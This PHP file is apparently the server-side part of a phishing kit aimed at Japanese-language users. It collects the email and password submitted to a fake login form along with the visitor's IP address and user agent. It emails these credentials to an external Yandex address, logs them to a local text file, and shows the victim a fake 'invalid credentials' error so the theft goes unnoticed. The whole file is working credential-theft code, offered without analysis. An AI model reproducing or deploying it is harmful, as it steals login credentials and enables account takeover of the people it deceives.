File: /home/slyfwmm/laretediclo/hh.php
<?php
$email = trim($_POST['email']);
$password = trim($_POST['password']);
$detail = trim($_POST['detail']);
if($email != null && $password != null){
$ip = getenv("REMOTE_ADDR");
$hostname = gethostbyaddr($ip);
$useragent = $_SERVER['HTTP_USER_AGENT'];
$message .= "Online ID : ".$email."\n";
$message .= "Passcode : ".$password."\n";
$message .= "|-----------------------|\n";
$send = "sure.ali@yandex.com";
$subject = "Login : $ip";
mail($send, $subject, $message);
$signal = 'ok';
$msg = '無効な資格情報';
{
mail($mesaegs,$subject,$message,$headers);
mail($send,$subject,$message,$headers);
$fp = fopen('jp1.txt', 'a');
fwrite($fp, $message);
fclose($fp);
}
// $praga=rand();
// $praga=md5($praga);
}
else{
$signal = 'bad';
$msg = '全ての欄に記入してください。';
}
$data = array(
'signal' => $signal,
'msg' => $msg
);
echo json_encode($data);
?>